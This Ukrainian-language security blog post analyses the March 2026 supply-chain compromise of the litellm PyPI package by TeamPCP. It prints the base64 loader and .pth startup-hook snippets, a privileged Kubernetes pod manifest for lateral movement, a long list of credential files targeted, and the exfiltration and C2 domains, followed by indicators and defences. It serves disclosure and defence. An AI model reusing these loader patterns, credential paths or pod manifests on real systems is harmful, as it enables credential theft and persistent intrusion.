Чому це важливо
24 березня 2026 року популярний пакет Python літелм, універсальний проксі-шлюз LLM, який використовується тисячами enterpriseдля маршрутизації трафіку між програмами та постачальниками штучного інтелекту, такими як OpenAI, Anthropic, Google та AWS Bedrock, був непомітно скомпрометований на PyPI. Дві заражені версії (1.82.7 та 1.82.8) були опубліковані з різницею в 13 хвилин, несучи багатоетапне корисне навантаження, яке крало облікові дані, викрадало хмарні секрети, поширювалося латерально по кластерах Kubernetes та встановлювало постійний бекдор з можливостями віддаленого виконання коду.
З приблизно 3.6 мільйона щоденних завантажень та глибокого розгортання в хмарній інфраструктурі штучного інтелекту, litellm знаходиться на перехресті всього, чого прагнуть сучасні зловмисники: ключів API для кожного основного постачальника штучного інтелекту, облікових даних хмарної IAM, секретів Kubernetes та ключів SSH.
Але компроміс Litellm не був ізольованою подією. Він був кульмінацією п'ятиденна кампанія, що охоплює п'ять екосистем зловмисником, відомим як TeamPCP, кампанія, яка спочатку отруїла сканери безпеки (Aqua Trivy, Checkmarx KICS), а потім використала вкрадені CI/CD облікові дані для каскадного перенесення в npm, OpenVSX і, нарешті, PyPI. Зловмисники перетворили на зброю ті самі інструменти, на які організації покладаються для захисту своїх ланцюгів поставок.
Ця атака являє собою кардинальні зміни у витонченості загроз ланцюгу поставок. Багатострибкова, крос-екосистемна структура, що ставить під загрозу інструменти безпеки для досягнення високої цінності Інфраструктура штучного інтелекту, відображає рівень планування та операційної зрілості, що відповідає все більш комерціалізованому інструментарію атак. Корисне навантаження ітерувалося в режимі реального часу (три варіанти корисного навантаження з'являються у вихідному коді, включаючи закоментовані попередні версії), інфраструктуру C2 було зареєстровано за день до атаки, а домени вилучення були ретельно підібрані для імітації легітимної інфраструктури постачальників. Систематично комплексний збирач облікових даних, що охоплює понад 15 категорій, включаючи нішеві цілі, такі як ключі підпису Cardano та конфігурації WireGuard, свідчить про певний рівень ретельності, який вказує на розробку шкідливого програмного забезпечення за допомогою штучного інтелекту як множника сили.
Хронологія
| Дата (UTC) | Event |
|---|---|
| березня 19 | TeamPCP компрометує теги дій Aqua Trivy GitHub, замінюючи їх шкідливим кодом, який проникає в систему. CI/CD секрети з репозиторіїв нижче за течією |
| березня 21 | Компроміс поширюється на дії Checkmarx KICS та AST GitHub, використовуючи схожі методи. |
| 22 березня, 06:35 | BerriAI публікує litellm 1.82.6 (остання чиста версія) у звичайному режимі CI/CD pipeline який використовує Trivy для сканування безпеки |
| березня 23 | TeamPCP реєструє models.litellm.cloud (домен ексфільтрації). Компрометує понад 66 npm-пакетів та розширення OpenVSX. |
| 24 березня, 10:39 | litellm 1.82.7 опубліковано в PyPI -- корисне навантаження вставлено в proxy_server.py в області видимості модуля. Виконується під час імпорту |
| 24 березня, 10:52 | litellm 1.82.8 опубліковано через 13 хвилин -- додано litellm_init.pth, перехоплювач конфігурації шляху Python, який виконується при кожному запуску інтерпретатора Python, а не лише при імпорті litellm. Показує швидку ітерацію корисного навантаження. |
| 24 березня, ~16:00 | PyPI видаляє обидві версії після звітів спільноти. Версії повністю видаляються (не видаляються) з індексу, хоча tar-архіви CDN залишаються доступними. |
Вікно експозиції: приблизно 5.5 годин. Протягом цього часу будь-який pip install litellm, pip install --upgrade litellmабо CI/CD pipeline витягування останньої версії виконало б корисне навантаження.
Як потрапило шкідливе програмне забезпечення: каскадна компрометація
Пакет litellm не був безпосередньо зламаний. Зловмисник отримав до нього доступ через атака на ланцюг поставок через два стрибки:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPILiteLLM CI/CD pipeline використовував Trivy як сканер безпеки — саме інструмент, розроблений для виявлення вразливостей, сам був вектором атаки. Оскільки pipeline посилання на Trivy здійснюється за допомогою змінного тегу, а не закріпленого commit SHA, скомпрометована дія виконувалася автоматично. Шкідлива дія Trivy викрала секрети середовища, зокрема PYPI_PUBLISH токен, що надає TeamPCP прямий доступ до публікації проекту litellm PyPI.
Ця стратегія «скомпрометувати охоронців» є відмінною рисою кампанії TeamPCP. Зловмисники, атакуючи спочатку інструменти безпеки (Trivy, Checkmarx KICS), одночасно відключали виявлення та отримували привілейований доступ до нижчих ланцюгів поставок.
Технічний аналіз: Корисне навантаження
Точки введення
версія 1.82.7 — Виконання на рівні модуля в litellm/proxy/proxy_server.py (рядок 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p])Цей код знаходиться в області видимості модуля між літералом словника та оригіналом showwarning() функція. Вона виконується негайно, коли litellm.proxy.proxy_server імпортується — що відбувається під час будь-якого використання функціональності проксі-сервера litellm.
версія 1.82.8 — Додано litellm_init.pth (Файл конфігурації шляху Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Python .pth файли в site-packages/ обробляються при кожному запуску інтерпретатора, але лише рядки, що починаються з import виконуються як код. Зловмисник використовує це, об'єднуючи все корисне навантаження в одне import заява: import os, subprocess, sys; subprocess.Popen(...)Це набагато агресивніше, ніж ін'єкція proxy_server.py — вона спрацьовує, навіть якщо litellm ніколи не імпортується, при кожному запуску процесу Python. pyproject.toml було змінено, щоб включити цей файл до дистрибутива:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]Таким чином, версія 1.82.8 має два незалежні шляхи виконання: ін'єкція proxy_server.py (спрацьовує під час імпорту проксі-сервера litellm) та файл .pth (спрацьовує під час будь-якого запуску Python). Надмірність сама по собі є помітною — вона захищає від виявлення або видалення будь-якого з цих шляхів окремо. Ескалація від виконання під час імпорту до виконання під час запуску лише через 13 хвилин після версії 1.82.7 свідчить про те, що зловмисник відстежував успіх розгортання та швидко виконував ітерації.
Етап 1: Комплексний збір довідок
Розшифрований внутрішній сценарій — це ретельний вакуум посвідчень. Він використовує os.walk(), glob.glob(), subprocess.check_output(), та пряме читання файлів для сканування всієї системи:
| Категорія | Цілі |
|---|---|
| Розвідка системи | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, configключі хоста від /etc/ssh/ |
| Хмара (AWS) | ~/.aws/credentials, ~/.aws/configоблікові дані ролі IMDS через 169.254.169.254Менеджер секретів ListSecretsССМ DescribeParameters |
| Хмара (GCP) | ~/.config/gcloud/ (рекурсивний); $GOOGLE_APPLICATION_CREDENTIALS |
| Хмара (Azure) | ~/.azure/ (рекурсивні); змінні середовища |
| Кубернетес | Токени облікового запису служби; ca.crtпростір імен; kubectl get secrets --all-namespacesвсі секрети через API K8s |
| Файли середовища | .env, .env.local, .env.production, .env.development, .env.staging — пошук виконано рекурсивно (глибина 6) по всьому /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Токени пакета | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Бази даних | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, конфігурації MongoDB |
| TLS / SSL | Приватні ключі від /etc/ssl/private/, Давайте зашифруємо сертифікати, всі .pem/.key/.p12/.pfx файли |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Криптовалюти | Біткойн, сховище ключів Ethereum, пари ключів Solana (валідатор, голосування, стейк, кран), ключі підпису Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Історія Shell | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Системна автентифікація | /etc/passwd, /etc/shadow, журнали автентифікації (прийняті SSH-сесії) |
| Ключі вебхука/API | Grep для Slack Webhooks, Інтернет-ресурси Discordhooks, Ключі/секрети API у конфігураційних файлах |
| VPN | Конфігурації WireGuard від /etc/wireguard/ |
Цей збирач даних має енциклопедичний масштаб. Він націлений не лише на хмарні облікові дані, але й на криптовалютні гаманці, паролі баз даних, конфігурації VPN та… CI/CD секрети — що свідчить про намір зловмисника монетизувати скомпрометовані системи кількома способами.
Етап 2: зашифрована ексфільтрація
Викрадені дані шифруються та витягуються за допомогою гібридної схеми шифрування:
- AES-CBC-256 шифрування всіх зібраних даних за допомогою випадкового 32-байтового ключа сеансу (через
openssl enc) - RSA-4096 шифрування сеансового ключа за допомогою вбудованого відкритого ключа зловмисника (доповнення OAEP, через
openssl pkeyutl) - Обидва файли шифротексту об'єднані як
tpcp.tar.gz(tpcpпрефікс — «TeamPCP» — з’являється послідовно протягом усієї кампанії) - HTTPS POST до
https://models.litellm.cloud/зContent-Type: application/octet-stream
Домен models.litellm.cloud був зареєстрований 23 березня — за день до атаки — і розроблений для поєднання з легітимною інфраструктурою litellm (справжній проект використовує litellm.aiНавіть захисник, який знає про мережу та переглядає вихідний трафік, може не позначити трафік до того, що, здається, є кінцевою точкою моделі litellm.
Етап 3: Постійний бекдор (sysmon.py)
Корисне навантаження встановлює бекдор для опитування, замаскований під системну телеметрію:
- Шлях:
~/.config/sysmon/sysmon.py - Обслуговування:
sysmon.service(користувацький блок systemd, що описується як «Служба системної телеметрії») - ПоведінкаПісля початкового 300-секундного сну, опитування
https://checkmarx.zone/rawкожні ~50 хвилин - ВиконанняЗавантажує URL-адресу, повернуту C2, до
/tmp/pglog, встановлює його на виконуваний файл (chmod 755), запускає його в окремому сеансі - Відстеження стану:
/tmp/.pg_stateзапобігає повторному завантаженню того самого корисного навантаження - Наполегливість:
Restart=always,RestartSec=10— витримує збої та перезавантаження
Домен checkmarx.zone є друкарською помилкою Checkmarx (компанії з охорони в checkmarx.com), розроблений таким чином, щоб аналітики SOC, які переглядають мережеві журнали, бачили трафік до того, що виглядає як легітимний постачальник засобів безпеки. Це навмисна техніка ухилення, що відповідає ширшій стратегії TeamPCP, яка полягає в тому, щоб приховувати себе за брендом постачальника засобів безпеки.
Етап 3b: Латеральний рух Kubernetes
Якщо скомпрометована система має облікові дані облікового запису служби Kubernetes, шкідливе програмне забезпечення перераховує всі вузли кластера та розгортає їх. привілейовані капсули кожному з них:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } }Кожен под:
- Працює як привілейовані з
hostPID,hostNetworkта повний доступ до файлової системи хоста - Використовує
chroot /hostвстановити те самеsysmon.pyбекдор на кореневій файловій системі хоста - Реєструє його як службу systemd, забезпечуючи збереження після видалення pod-файлу.
- Названий
node-setup-*,kube-systemпростір імен, щоб він виглядав як легітимна кластерна інфраструктура
Це означає єдиний скомпрометований CI/CD бігун з доступом K8s може призвести до бекдору для кожного вузла кластера. — катастрофічний сценарій латерального руху для організацій, що використовують litellm як проксі-сервер у Kubernetes.
Еволюція корисного навантаження (закоментовані варіанти)
Вихідний код у рядках 131-132 містить два закоментовані попередні варіанти корисного навантаження, що розкривають процес розробки зловмисника:
- Усі три варіанти мають спільну інфраструктуру ексфільтрації (
models.litellm.cloud), відкритий ключ RSA-4096, гібридна оболонка шифрування AES-256-CBC + RSA таtpcp.tar.gzнайменування пакетів - Раніші варіанти додав Рівень шифрування RC4 всередині скрипта збору даних, шифруючи зібрані дані перед зовнішньою обгорткою AES+RSA. Активне корисне навантаження (рядок 130) спрощено шляхом видалення цього внутрішнього шару RC4.
- У попередніх варіантах використовується
exec()зStringIOзахоплення для запуску колектора в процесі, поки активне корисне навантаження використовуєsubprocess.run()з перенаправленням stdout — чистішим розділенням, яке запобігає забрудненню хост-процесу - Усі три варіанти орієнтовані на ті самі категорії облікових даних та шляхи збору
- Ключ RC4 у попередніх варіантах був провокаційним образливим висловом, що відповідав поведінці актора, спрямованій на привернення уваги в Telegram.
Це свідчить про активну розробку під час операції. Зловмисник спростив стек шифрування та покращив ізоляцію виконання, зберігаючи стабільність цілей збору даних та інфраструктури витоку.
Індикатори компромісу (МОК)
Мережа
| індикатор | тип | Мета |
|---|---|---|
models.litellm.cloud | сфера | Кінцева точка ексфільтрації (HTTPS POST) |
checkmarx.zone | сфера | Кінцева точка опитування C2 (HTTPS GET /raw) |
Примітка: Зовнішні посилання на звіти checkmarx.zone/static/checkmarx-util-1.0.4.tgz до попередньої фази KICS кампанії TeamPCP. Цю URL-адресу не було знайдено в корисних навантаженнях litellm, проаналізованих тут.
Хеші пакетів
| Файл | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Файлова система
| індикатор | тип | Мета |
|---|---|---|
~/.config/sysmon/sysmon.py | Файл | Постійний бекдор-скрипт |
~/.config/systemd/user/sysmon.service | Файл | Блок персистенції Systemd |
/tmp/pglog | Файл | Завантажений бінарний файл другого етапу |
/tmp/.pg_state | Файл | Відстеження стану C2 |
litellm_init.pth in site-packages/ | Файл | Запусковий гачок Python (лише версія 1.82.8) |
tpcp.tar.gz | Файл | Зашифрований пакет для ексфільтрації |
Кубернетес
| індикатор | тип | Мета |
|---|---|---|
node-setup-* стручки в kube-system | Стручок | Привілейовані контейнери для бічного руху |
sysmon.service на вузлах кластера | Обслуговування | Збереження на рівні хоста через вихід pod-файлу |
Криптографічний
| індикатор | Деталі |
|---|---|
| Відкритий ключ зловмисника RSA-4096 | Відбиток SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Вбудовано в усі три варіанти корисного навантаження; той самий ключ повідомляється в інших операціях TeamPCP. |
tpcp префікс в артефактах | Правило найменування пакетів (tpcp.tar.gz) послідовно протягом усієї кампанії |
Атрибуція: TeamPCP
Зловмисника, який стоїть за цією кампанією, відстежують як TeamPCP, також відомий як PCPcat, Persy_PCP, ShellForce та DeadCatx3.
Відомі характеристики:
- Веде канали Telegram за адресою
@Persy_PCPта@teampcpде вони знущалися з охоронних компаній - Працює в кількох екосистемах (GitHub Actions, PyPI, npm, OpenVSX)
- Використовує специфічні для постачальника типосквотні домени для кожного етапу кампанії (наприклад,
checkmarx.zoneдля Чекмаркса,models.litellm.cloudдля літела) - Узгоджені маркери інфраструктури: та сама пара ключів RSA,
tpcp.tar.gzугода про найменування,tpcp-docs-*Репозиторії GitHub, що використовуються як тимчасові місця для розміщення - Орієнтовує інструменти безпеки як точки входу до ланцюгів постачання нижче за течією
Впевненість атрибуції: Високий. Спільний відкритий ключ RSA, tpcp Найменування артефактів, перекриття інфраструктури C2 та операційний темп протягом п'ятиденної кампанії тісно пов'язують компроміси Trivy, KICS, npm, OpenVSX та litellm з одним і тим самим актором.
мотиваціяЙмовірні фінансові (крадіжка криптогаманців, монетизація хмарних облікових даних) у поєднанні з розголосом (цькування в Telegram). Широкий спектр збору облікових даних — від пар ключів AWS IAM до валідаторів Solana та конфігурацій WireGuard — свідчить про фінансово мотивованого учасника, який прагне максимізувати рентабельність інвестицій від кожної компрометації.
Можлива допомога ШІЗбірник облікових даних є систематично комплексним — понад 15 категорій, включаючи нішеві цілі, такі як ключі підпису Cardano, конфігурації WireGuard та облікові дані Kaniko Docker — таким чином, що це узгоджується з перерахуванням за допомогою штучного інтелекту. Швидкість ітерації корисного навантаження (три варіанти з різними схемами шифрування), координація між екосистемами (5 екосистем за 5 днів) та операційна OPSEC (домени, що видають себе за постачальника, гібридне шифрування, збереження systemd, замасковане під телеметрію) свідчать про рівень пропускної здатності, який може відображати розробку за допомогою штучного інтелекту як множник сили. Ця оцінка є спекулятивною; кваліфіковані оператори могли б досягти подібного обсягу без інструментів штучного інтелекту.
Нові ТТП та методи
1. Отруєння ланцюга поставок інструменту безпеки (варіант T1195.002)
Компрометація сканерів безпеки (Trivy, KICS) як першого кроку для досягнення цілей нижче за течією – це нова ескалація. Зловмисник скомпрометував не просто бібліотеку — він скомпрометував інструменти, які організації використовують для… виявляти скомпрометовані бібліотеки. Це створює сліпу зону: сканер, який має виявляти шкідливий код, сам є механізмом доставки.
2 Python .pth Збереження файлу (T1546)
Команда litellm_init.pth Техніка у версії 1.82.8 особливо підступна. Python .pth файли в site-packages/ обробляються при кожному запуску інтерпретатора; будь-який рядок, що починається з import виконується як код. Шляхом ланцюжка корисного навантаження до одного import За допомогою оператора зловмисник досягає виконання кожного процесу Python, а не лише під час імпорту litellm. Це означає, що корисне навантаження спрацьовує, навіть якщо litellm встановлено, але ніколи не використовується, і воно переживає відновлення, яке замінює скомпрометований код. .py файли без перевірки .pth файли.
3. Латеральне переміщення по всьому кластеру Kubernetes через розгортання привілейованих подів (T1610, T1611)
Автоматизоване створення привілейованих pod-ів на кожному вузлі кластера — за допомогою hostPID, hostNetwork, монтування файлової системи хоста та chroot встановити persistent — ланцюжок розгортання контейнера (T1610) з escape до хоста (T1611), щоб перетворити одне скомпрометоване робоче навантаження на повноцінне компрометування кластера.
4. Інфраструктура C2, що видається за постачальника
використання models.litellm.cloud (імітує litellm) та checkmarx.zone (імітує Checkmarx) як кінцеві точки C2/exfil розроблено для уникнення моніторингу мережі. Аналітики SOC, які переглядають вихідний трафік, побачать HTTPS-з'єднання з тим, що виглядає як легітимні домени постачальників.
5. Швидка ітерація корисного навантаження під час польоту
Публікація версії 1.82.7 з виконанням під час імпорту, а потім версії 1.82.8 з виконанням під час запуску через 13 хвилин показує, що зловмисник стежить за ситуацією та адаптується в режимі реального часу. Закоментовані варіанти корисного навантаження (з різними схемами шифрування), збережені у вихідному коді, підтверджують активну розробку під час операції.
Що можна зробити
Ця атака використовує довіру на кожному рівні: довіру до інструментів безпеки, довіру до реєстрів пакетів, довіру до знайомих доменів, довіру до CI/CD автоматизація. Захист від неї вимагає посилення кожної з цих меж довіри:
Для споживачів пакетів послуг
- Закріплювати залежності за хешем, а не лише за версією.
pip install litellm==1.82.6 --hash=sha256:...запобігло б встановленню скомпрометованих версій, навіть якби вони ненадовго з'являлися як найновіша версія. - Використовуйте файли блокування.
pip-compile,poetry.lockтаuv.lockзахопити точні версії та хеші. CI/CD слід встановлювати з файлів блокування, а не з плаваючих специфікаторів версії. - Монітор для
.pthфайли. Регулярно проводити аудитsite-packages/для несподіваного.pthфайли — вони виконуються при кожному запуску Python і є недооціненим механізмом персистентності. - Впроваджуйте елементи керування вихідною мережею. Ексфільтрація до
models.litellm.cloudта опитування C2 дляcheckmarx.zoneмогли бути виявлені фільтрацією вихідного потоку на основі білого списку у виробничому середовищі.
Для розробників пакетів
- Pin CI/CD дії commit SHA, а не тег. LiteLLM pipeline використовував Trivy без закріпленої версії. Якби там було посилання
aquasecurity/trivy-action@<commit-sha>замість@latest, скомпрометована дія не була б виконана. - Використовуйте короткочасні токени публікації з обмеженою областю дії. PyPI підтримує довірені видавці (на основі OIDC) та токени API з певною областю дії. Вилучені дані
PYPI_PUBLISHтокен не повинен був мати довготривалий, необмежений доступ до публікації. - Увімкніть двофакторну автентифікацію на PyPI. Вимагайте двофакторну аутентифікацію (2FA) для всіх розробників та використовуйте апаратні ключі безпеки, де це можливо.
- Підписуйте пакети. Атестації Sigstore/PEP 740 дозволяють споживачам перевірити, чи був пакет створений очікуваним чином. CI/CD pipeline, а не зловмисником із викраденим токеном.
Для операторів платформ (PyPI, npm, GitHub)
- Виявляти аномальні шаблони публікацій. Дві нові версії, опубліковані з різницею в 13 хвилин, з іншої IP-адреси або токена, ніж зазвичай, повинні ініціювати затримку на перевірку або автоматичне сканування, перш ніж пакет стане придатним для встановлення.
- Прискорення впровадження програми «Довірені видавці». Публікація на основі OIDC прив'язує пакети до певних репозиторіїв та робочих процесів, що робить викрадені токени марними поза межами оригіналу. CI/CD контексті.
- Впроваджуйте сканування на шкідливе програмне забезпечення під час публікації. Корисне навантаження, декодоване за допомогою base64 у proxy_server.py, можна буде виявити за допомогою статичного аналізу під час публікації.
Для екосистеми
- Ставтеся до інструментів безпеки як до критично важливої інфраструктури. Мільйони користувачів використовують системи KICS Trivy та Checkmarx pipelineЇхні дії на GitHub мають бути підписані, закріплені та контрольовані з такою ж ретельністю, як і пакети, які вони сканують.
- Інвестуйте у виявлення під час виконання. Статичний аналіз сам по собі не може виявити всі методи обфускації. Моніторинг встановлення пакета під час виконання. hooks, неочікувані мережеві підключення та підозрілі шаблони доступу до файлів забезпечують глибокий захист.
- Швидше діліться інформацією про загрози. 5.5-годинний період експозиції для litellm міг би бути коротшим завдяки швидшій координації між постачальниками. Автоматизовані сервіси сканування, такі як Xygeni MEW, Socket та Snyk, виявили аномалію — вузьким місцем є підтвердження людиною та час реагування реєстру.
Висновок
Кампанія TeamPCP – це переломний момент для software supply chain securityСпочатку скомпрометувавши сканери безпеки та використовуючи їх як трампліни до високоцінної інфраструктури штучного інтелекту, зловмисники продемонстрували, що ланцюг поставок настільки сильний, наскільки сильна його найслабша транзитивна залежність, і ця залежність може бути інструментом безпеки, якому ви довіряєте для своєї безпеки.
Компрометація litellm особливо підкреслює зростаючий ризик для інфраструктури штучного інтелекту. Оскільки проксі-шлюзи LLM стають standard шаблон для enterprise Розгортаючи штучний інтелект, вони зосереджують доступ до ключів API, хмарних облікових даних та конфіденційних даних в одному компоненті. Компрометація цього компонента є скелетним ключем до всього стеку штучного інтелекту.
Організації, які встановили litellm 1.82.7 або 1.82.8 протягом 5.5-годинного вікна, повинні розглядати це як повну компрометацію облікових даних: ротувати всі секрети на уражених системах, проводити аудит кластерів Kubernetes на наявність... node-setup-* стручки в kube-system, видаліть будь-які sysmon.service системні одиниці та перевірте наявність litellm_init.pth у Python site-packages/ каталоги. Користувачі офіційного образу Docker (ghcr.io/berriai/litellm) не постраждали, оскільки зображення закріпило свої залежності та не було перебудовано протягом вікна експозиції.
Про автора
Співзасновник і технічний директор
Луїс Родрігес є співзасновником і технічним директором Xygeni Security. Маючи понад 20 років досвіду в безпеці додатків, він зосереджується на захисті AppSec та розширених можливостях аналізу коду, які допомагають командам знизити реальний ризик доставки.
